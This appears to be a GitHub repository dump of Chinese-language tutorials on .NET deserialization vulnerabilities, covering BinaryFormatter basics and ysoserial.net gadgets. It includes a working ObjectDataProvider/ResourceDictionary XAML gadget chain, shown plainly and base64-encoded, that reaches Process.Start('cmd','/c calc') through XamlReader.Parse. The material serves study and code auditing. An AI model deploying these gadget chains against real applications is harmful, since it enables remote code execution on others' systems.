199 | }
200 | }
201 | }
202 | ```
203 |
204 | 这里不足的地方是Person类中的Evil方法是我们自己写的,而实际过程中需要寻找其他点调用Process执行命令。而这则引出了ResourceDictionary这个更深层次的攻击链。
205 |
206 | ## ResourceDictionary
207 |
208 | ResourceDictionary即资源字典,用于wpf开发,既然是wpf,肯定涉及到xaml语言。先来看利用ResourceDictionary执行命令的一个payload。
209 |
210 | ```xaml
211 |
216 |
217 |
218 | cmd
219 | /c calc
220 |
221 |
222 |
223 | ```
224 | 解释下这段xaml:
225 |
226 | 1. xmlns:c 引用了System.Diagnostics命名空间起别名为c
227 | 2. d:Key="" 起别名为空,在xaml语法中,Key这个键值必须有。
228 | 3. ObjectType表示对象类型
229 | 4. d:Type 等同于typeof()
230 | 5. MethodName是ObjectDataProvider的属性,传递一个Start等于调用Start方法。
231 | 6. c:Process 等同于System.Diagnostics.Process
232 |
233 | 整个xaml被解析之后,等同于创建了一个ObjectDataProvider对象,该对象又会自动调用`System.Diagnostics.Process.Start("cmd.exe","/c calc")`
234 |
235 | 因为是xaml的语言,我们使用XamlReader.Parse()来解析它,运行后会弹出calc。其中base64的是上文ResourceDictionary的payload。
236 |
237 | ```csharp
238 | using System;
239 | using System.Text;
240 | using System.Windows.Markup;
241 |
242 | namespace XmlDeserialization
243 | {
244 | class Program
245 | {
246 | static void Main(string[] args)
247 | {
248 | string p = "PFJlc291cmNlRGljdGlvbmFyeSAKICAgICAgICAgICAgICAgICAgICB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiAKICAgICAgICAgICAgICAgICAgICB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgCiAgICAgICAgICAgICAgICAgICAgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIAogICAgICAgICAgICAgICAgICAgIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIGQ6S2V5PSIiIE9iamVjdFR5cGU9IntkOlR5cGUgYzpQcm9jZXNzfSIgTWV0aG9kTmFtZT0iU3RhcnQiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+CiAgICAgICAgICAgIDxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pg==";
249 | byte[] vs = Convert.FromBase64String(p);
250 | string xml = Encoding.UTF8.GetString(vs);
251 | XmlDeserialize(xml);
252 | Console.ReadKey();
253 | }
254 | public static void XmlDeserialize(string o)
255 | {
256 | XamlReader.Parse(o);
257 | }
258 | }
259 | }
260 | ```
261 |
262 | 此时相当于我们利用XamlReader.Parse()进行了进一步利用,对于xmlserializer来说攻击链从原来的
263 |
264 | - ObjectDataProvider -> Person.Evil()
265 |
266 | 转变为
267 |
268 | - ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")
269 |
270 | 拿java来说ObjectDataProvider 更像是commons-collections的InvokerTransformer,可以调用任意类的任意方法。
271 |
272 |
273 |
274 | 此时回头看ysoserial.net生成的payload就一目了然了。
275 |
276 | ```xaml
277 |
278 |
279 |
280 |
281 |
282 | Parse
283 |
284 |
285 | cmd/c calc]]>
286 |
287 |
288 |
289 |
290 |
291 |
292 | ```
293 |
294 | # 代码审计视角
295 |
296 | 首先就是针对初始化时`new XmlSerializer(type)`的type参数,如果type可控,就可以利用ObjectDataProvider调用XamlReader的Parse进行RCE。
297 |
298 | 当然也要关注`XamlReader.Parse(xml)`中的xml是否可控。
299 |
300 | # 后文
301 |
302 | ObjectDataProvider这条链联动了XamlReader.Parse(),在ysoserial.net中也作为很多其他链条的一部分,是值得学习并且必须掌握的一条gadget。
--------------------------------------------------------------------------------
/dotnet-serialize-101.assets/image-20210417112301434.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/dotnet-serialize-101.assets/image-20210417112301434.png
--------------------------------------------------------------------------------
/dotnet-serialize-101.assets/image-20210418140955935.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/dotnet-serialize-101.assets/image-20210418140955935.png
--------------------------------------------------------------------------------
/dotnet-serialize-101.assets/image-20210420105228965.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/dotnet-serialize-101.assets/image-20210420105228965.png
--------------------------------------------------------------------------------
/dotnet-serialize-101.assets/image-20210420110242909.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/dotnet-serialize-101.assets/image-20210420110242909.png
--------------------------------------------------------------------------------
/dotnet-serialize-101.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # dotnet-serialize-101
4 |
5 | > java太卷了,找点新的学习方向,从0到1学习dotnet的一些反序列化漏洞。
6 |
7 | # 简述dotnet序列化和反序列化
8 |
9 | 同java类比,dotnet也需要对某个对象进行持久化处理,从而在任何时间都能够恢复这个对象。为什么要使用序列化?因为我们需要将重要的对象存入到媒体,这个媒体可能是数据库或者是文件,或者我们需要将对象进行网络传输传递到另一个服务上,而这个对象转媒体(数据库、文件、网络传输流)的过程就是序列化的过程,反序列化则正好相反。
10 |
11 | # 一个简单序列化的例子
12 |
13 | 微软官方文档给出了内置库中可以序列化的类型列表,[见这里](https://docs.microsoft.com/zh-cn/dotnet/standard/serialization/binary-serialization)。先来声明一个实体类。在java中,序列化和反序列化需要实现Serializable接口,在dotnet中则是使用`特性`的方式进行标记Serializable。
14 |
15 | ```csharp
16 | [Serializable]
17 | public class MyObject
18 | {
19 | public int n1;
20 | [NonSerialized] public int n2;
21 | public String str;
22 | }
23 | ```
24 |
25 | 你也可以指定`[NonSerialized]`表示不能被序列化的字段。接下来我们构建一个MyObject对象并对其序列化和反序列化。
26 |
27 | ```csharp
28 | using System;
29 | using System.IO;
30 | using System.Runtime.Serialization;
31 | using System.Runtime.Serialization.Formatters.Binary;
32 |
33 | namespace NetSerializer
34 | {
35 | [Serializable]
36 | public class MyObject
37 | {
38 | public int n1;
39 | [NonSerialized] public int n2;
40 | public String str;
41 | }
42 |
43 | class Program
44 | {
45 | public static void BinaryFormatterSerialize(string file, object o)
46 | {
47 | BinaryFormatter binaryFormatter = new BinaryFormatter();
48 | FileStream fileStream = new FileStream(file, FileMode.Create, FileAccess.Write, FileShare.None);
49 | binaryFormatter.Serialize(fileStream, o);
50 | fileStream.Close();
51 | Console.WriteLine($"serialize object {o} to file {file}.");
52 | }
53 |
54 | public static object BinaryFormatterDeserialFromFile(string file)
55 | {
56 | IFormatter formatter = new BinaryFormatter();
57 | Stream stream = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.Read);
58 | object o = formatter.Deserialize(stream);
59 | stream.Close();
60 | return o;
61 | }
62 |
63 | static void Main(string[] args)
64 | {
65 | try
66 | {
67 | MyObject myObject = new MyObject();
68 | myObject.n1 = 1;
69 | myObject.n2 = 2;
70 | myObject.str = "jack";
71 |
72 | BinaryFormatterSerialize("1.bin", myObject);
73 | MyObject myObject1 = (MyObject)BinaryFormatterDeserialFromFile("1.bin");
74 |
75 | Console.WriteLine($"n1:{myObject1.n1}");
76 | Console.WriteLine($"NonSerialized n2:{myObject1.n2}");
77 | Console.WriteLine($"str:{myObject1.str}");
78 | }
79 | catch (Exception e)
80 | {
81 | Console.WriteLine(e.Message);
82 | }
83 | Console.ReadKey();
84 | }
85 | }
86 | }
87 | ```
88 |
89 | 输出结果为:
90 |
91 | ```txt
92 | serialize object NetSerializer.MyObject to file 1.bin.
93 | n1:1
94 | NonSerialized n2:0
95 | str:jack
96 | ```
97 |
98 | 可以看到对象除了被标记不能被序列化的字段以外全部恢复到了原来的值。查看生成的bin文件,发现序列化之后的数据采用`0001 0000`开头
99 |
100 | 
101 |
102 | # Formatter
103 |
104 | 在序列化的时候我们引入了一个BinaryFormatter类,这个类表示使用二进制的形式进行序列化,而在dotnet中有很多其他的formatter类,每一个formatter都对应了一种序列化的格式,列举几个:
105 |
106 | 1. BinaryFormatter 用于二进制格式
107 | 2. SoapFormatter 用于序列化soap格式
108 | 3. LosFormatter 用于序列化 Web 窗体页的视图状态
109 | 4. ObjectStateFormatter 用于序列化状态对象图
110 |
111 | 当然还有一些其他格式的序列化类,比如XmlSerializer、JsonSerializer等用于生成xml、json格式的数据,这个以后再说。
112 |
113 | 这些formatter类都实现了名为IFormatter、IRemotingFormatter的接口,其中IRemotingFormatter是用来远程调用的RPC接口,它也实现了IFormatter,所以重点看IFormatter接口。
114 |
115 | 
116 |
117 | IFormatter定义了序列化和反序列化的两个方法,以及三个字段,其中每个字段含义如下:
118 |
119 | | 类 字段名 | 含义用途 |
120 | | ------------------------------------ | ------------------------------------------------------- |
121 | | ISurrogateSelector SurrogateSelector | 序列化代理选择器 接管formatter的序列化或反序列化处理 |
122 | | SerializationBinder Binder | 用于控制在序列化和反序列化期间使用的实际类型 |
123 | | StreamingContext Context | 序列化流上下文 其中states字段包含了序列化的来源和目的地 |
124 |
125 | 通过这三个字段,我们可以控制序列化和反序列化时数据的类型、值以及其他信息。
126 |
127 | # BinaryFormatter序列化的生命周期和事件
128 |
129 | 根据微软的文档,当formatter调用Serialize方法的时候,会有以下的生命周期。
130 |
131 | 1. 首先确定formatter是否有代理选择器,如果有则检查代理选择器要处理的对象类型是否和给定的对象类型一致,如果一致,代理选择器会调用`ISerializable.GetObjectData()`。
132 | 2. 如果没有代理选择器,或者代理选择器不处理该对象类型,则检查对象是否有`[Serializable]`特性。如果不能序列化则抛出异常。
133 | 3. 检查该对象是否实现ISerializable接口,如果实现就调用其GetObjectData方法。
134 | 4. 如果没实现ISerializable接口就使用默认的序列化策略,序列化所以没标记`[NonSerialized]`的字段。
135 |
136 | 而在序列化和反序列化的过程中还有四个回调事件
137 |
138 | | 特性 | 调用关联的方法时 | 典型用法 |
139 | | :----------------------------------------------------------- | :--------------- | :------------------------------------ |
140 | | [OnDeserializingAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.ondeserializingattribute) | 反序列化之前 | 初始化可选字段的默认值。 |
141 | | [OnDeserializedAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.ondeserializedattribute) | 反序列化之后 | 根据其他字段的内容修改可选字段值。 |
142 | | [OnSerializingAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.onserializingattribute) | 序列化之前 | 准备序列化。 例如,创建可选数据结构。 |
143 | | [OnSerializedAttribute](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.onserializedattribute) | 序列化之后 | 记录序列化事件。 |
144 |
145 | 可以根据几个具体的案例来看序列化和反序列化的生命周期
146 |
147 | ```csharp
148 | using System;
149 | using System.IO;
150 | using System.Runtime.Serialization;
151 | using System.Runtime.Serialization.Formatters.Binary;
152 | using System.Security.Permissions;
153 |
154 | namespace NetSerializer
155 | {
156 | [Serializable]
157 | public class MyObject : ISerializable
158 | {
159 | public string str { get; set; }
160 | public MyObject()
161 | {
162 | }
163 | //实现了ISerializable接口的类必须包含有序列化构造函数,否则会出错。
164 | protected MyObject(SerializationInfo info, StreamingContext context)
165 | {
166 | Console.WriteLine("MyObject(SerializationInfo info, StreamingContext context)");
167 | str = info.GetString("str");
168 | }
169 |
170 | [SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)]
171 | public virtual void GetObjectData(SerializationInfo info, StreamingContext context)
172 | {
173 | Console.WriteLine("GetObjectData of MyObject.class");
174 | info.AddValue("str", str, typeof(string));
175 | }
176 |
177 | [OnDeserializing]
178 | private void TestOnDeserializing(StreamingContext sc)
179 | {
180 | Console.WriteLine("TestOnDeserializing");
181 |
182 | }
183 | [OnDeserialized]
184 | private void TestOnDeserialized(StreamingContext sc)
185 | {
186 | Console.WriteLine("TestOnDeserialized");
187 | }
188 | [OnSerializing]
189 | private void TestOnSerializing(StreamingContext sc)
190 | {
191 | Console.WriteLine("TestOnSerializing");
192 | }
193 | [OnSerialized]
194 | private void TestOnSerialized(StreamingContext sc)
195 | {
196 | Console.WriteLine("TestOnSerialized");
197 | }
198 | }
199 | class MySerializationSurrogate : ISerializationSurrogate
200 | {
201 | public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
202 | {
203 | Console.WriteLine("GetObjectData of ISerializationSurrogate");
204 | info.AddValue("str", ((MyObject)obj).str);
205 | }
206 |
207 | public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
208 | {
209 | Console.WriteLine("SetObjectData of ISerializationSurrogate");
210 | MyObject m = new MyObject();
211 | m.str = (string)info.GetValue("str", typeof(string));
212 | return m;
213 | }
214 | }
215 | class Program
216 | {
217 | static void Main(string[] args)
218 | {
219 | try
220 | {
221 | MyObject myObject = new MyObject();
222 | myObject.str = "hello";
223 |
224 | using (MemoryStream memoryStream = new MemoryStream())
225 | {
226 | // 构建formatter
227 | BinaryFormatter binaryFormatter = new BinaryFormatter();
228 |
229 | // 设置序列化代理选择器
230 | SurrogateSelector ss = new SurrogateSelector();
231 | ss.AddSurrogate(typeof(MyObject), binaryFormatter.Context, new MySerializationSurrogate());
232 | // 赋值给formatter 这里是否设置代理选择器决定了序列化的生命周期
233 | binaryFormatter.SurrogateSelector = ss;
234 | // 序列化
235 | binaryFormatter.Serialize(memoryStream, myObject);
236 | // 重置stream
237 | memoryStream.Position = 0;
238 | myObject = null;
239 | // 反序列化
240 | myObject = (MyObject)binaryFormatter.Deserialize(memoryStream);
241 | Console.WriteLine(myObject.str); // hello
242 | }
243 |
244 | }
245 | catch (Exception e)
246 | {
247 | Console.WriteLine(e.StackTrace);
248 | }
249 | Console.ReadKey();
250 | }
251 | }
252 | }
253 | ```
254 |
255 | 这是一个使用了SurrogateSelector代理选择器的序列化例子,输出如下
256 |
257 | ```txt
258 | TestOnSerializing
259 | GetObjectData of ISerializationSurrogate
260 | TestOnSerialized
261 | TestOnDeserializing
262 | SetObjectData of ISerializationSurrogate
263 | TestOnDeserialized
264 | hello
265 | ```
266 |
267 | 可以看到四个回调事件是只要进行声明就会执行。其中我们自己的代理选择器MySerializationSurrogate实现ISerializationSurrogate接口的两个方法。当我们设置了代理选择器时,它的生命周期就像打印的顺序一样。
268 |
269 |
270 |
271 | 当注释掉设置代理选择器的那行代码
272 |
273 | ```csharp
274 | //binaryFormatter.SurrogateSelector = ss;
275 | ```
276 |
277 | 其输出是这样的
278 |
279 | ```txt
280 | TestOnSerializing
281 | GetObjectData of MyObject.class
282 | TestOnSerialized
283 | TestOnDeserializing
284 | MyObject(SerializationInfo info, StreamingContext context)
285 | TestOnDeserialized
286 | hello
287 | ```
288 |
289 | 当对象其不实现ISerializable接口时,他的生命周期仅限于回调函数(使用dotnet默认序列化策略),输出如下:
290 |
291 | ```txt
292 | TestOnSerializing
293 | TestOnSerialized
294 | TestOnDeserializing
295 | TestOnDeserialized
296 | hello
297 | ```
298 |
299 | 单独来看一下MyObject类的序列化构造函数
300 |
301 | ```csharp
302 | //实现了ISerializable接口的类必须包含有序列化构造函数,否则会出错。
303 | protected MyObject(SerializationInfo info, StreamingContext context)
304 | {
305 | Console.WriteLine("MyObject(SerializationInfo info, StreamingContext context)");
306 | str = info.GetString("str");
307 | }
308 | ```
309 |
310 | SerializationInfo info变量中表示序列化流的信息,对象的类型和值都存储在其中,查看类定义
311 |
312 | 
313 |
314 | 可见其存储了对象类型、成员个数、程序集名称、类型名称等,还有一些AddValue的重载用于添加类实例字段变量键值对。其实这个序列化构造函数在代理选择器中表现的更加明显:
315 |
316 | ```csharp
317 | class MySerializationSurrogate : ISerializationSurrogate
318 | {
319 | public void GetObjectData(object obj, SerializationInfo info, StreamingContext context)
320 | {
321 | Console.WriteLine("GetObjectData of ISerializationSurrogate");
322 | info.AddValue("str", ((MyObject)obj).str);
323 | }
324 |
325 | public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
326 | {
327 | Console.WriteLine("SetObjectData of ISerializationSurrogate");
328 | MyObject m = new MyObject();
329 | m.str = (string)info.GetValue("str", typeof(string));
330 | return m;
331 | }
332 | }
333 | ```
334 |
335 | 一个get一个set表示对象的序列化形式和反序列化重构时的处理方式。而非代理选择器只实现ISerializable接口的类只有GetObjectData,其类自身的序列化构造函数等同于代理选择器的SetObjectData。
336 |
337 | 此时用一张图表示序列化及反序列化完整的生命周期:
338 |
339 | 
340 |
341 | # ysoserial.net
342 |
343 | 对于dotnet反序列化漏洞来讲,ysoserial.net是一个绕不过去的工具,而其使用的方法及其设计架构都是值得我们学习的东西。
344 |
345 | ysoserial.net主要分为formatter、gadget、plugin三个功能。
346 |
347 | ```txt
348 | == GADGETS ==
349 | (*) ActivitySurrogateDisableTypeCheck [Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored]
350 | Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
351 | (*) ActivitySurrogateSelector [This gadget ignores the command parameter and executes the constructor of ExploitClass class] (supports extra options: use the '--fullhelp' argument to view)
352 | Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter
353 | (*) ActivitySurrogateSelectorFromFile [Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'] (supports extra options: use the '--fullhelp' argument to view)
354 | Formatters: BinaryFormatter (2) , LosFormatter , SoapFormatter
355 | (*) AxHostState
356 | Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
357 | (*) ClaimsIdentity
358 | Formatters: BinaryFormatter , LosFormatter , SoapFormatter
359 | (*) DataSet
360 | Formatters: BinaryFormatter , LosFormatter , SoapFormatter
361 | (*) ObjectDataProvider (supports extra options: use the '--fullhelp' argument to view)
362 | Formatters: DataContractSerializer (2) , FastJson , FsPickler , JavaScriptSerializer , Json.Net , SharpSerializerBinary , SharpSerializerXml , Xaml (4) , XmlSerializer (2) , YamlDotNet < 5.0.0
363 | (*) PSObject [Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017)]
364 | Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer , SoapFormatter
365 | (*) RolePrincipal
366 | Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
367 | (*) SessionSecurityToken
368 | Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
369 | (*) SessionViewStateHistoryItem
370 | Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
371 | (*) TextFormattingRunProperties [This normally generates the shortest payload] (supports extra options: use the '--fullhelp' argument to view)
372 | Formatters: BinaryFormatter , DataContractSerializer , LosFormatter , NetDataContractSerializer , SoapFormatter
373 | (*) ToolboxItemContainer
374 | Formatters: BinaryFormatter , LosFormatter , SoapFormatter
375 | (*) TypeConfuseDelegate
376 | Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
377 | (*) TypeConfuseDelegateMono [Tweaked TypeConfuseDelegate gadget to work with Mono]
378 | Formatters: BinaryFormatter , LosFormatter , NetDataContractSerializer
379 | (*) WindowsClaimsIdentity [Requires Microsoft.IdentityModel.Claims namespace (not default GAC)] (supports extra options: use the '--fullhelp' argument to view)
380 | Formatters: BinaryFormatter (3) , DataContractSerializer (2) , Json.Net (2) , LosFormatter (3) , NetDataContractSerializer (3) , SoapFormatter (2)
381 | (*) WindowsIdentity
382 | Formatters: BinaryFormatter , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
383 | (*) WindowsPrincipal
384 | Formatters: BinaryFormatter , DataContractJsonSerializer , DataContractSerializer , Json.Net , LosFormatter , NetDataContractSerializer , SoapFormatter
385 |
386 | == PLUGINS ==
387 | (*) ActivatorUrl (Sends a generated payload to an activated, presumably remote, object)
388 | (*) Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection)
389 | (*) ApplicationTrust (Generates XML payload for the ApplicationTrust class)
390 | (*) Clipboard (Generates payload for DataObject and copy it into the clipboard - ready to be pasted in affected apps)
391 | (*) DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
392 | (*) Resx (Generates RESX and .RESOURCES files)
393 | (*) SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class)
394 | (*) SharePoint (Generates poayloads for the following SharePoint CVEs: CVE-2020-1147, CVE-2019-0604, CVE-2018-8421)
395 | (*) TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method)
396 | (*) ViewState (Generates a ViewState using known MachineKey parameters)
397 | ```
398 |
399 | 查看其使用说明,可见众多gadget即gadget所支持的formatter。抽象一点说,formatter标志为反序列化入口,gadget是链条,而plugin是针对其他应用如SharePoint对于反序列化数据的加密解密做一个实现。
400 |
401 | # 后文
402 |
403 | 本系列其他文章将会分别讲解各个formatter,并在其中穿插gadget的具体原理,未涉及的gadget则会单独拿出来进行讲解。
--------------------------------------------------------------------------------
/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/logo.png
--------------------------------------------------------------------------------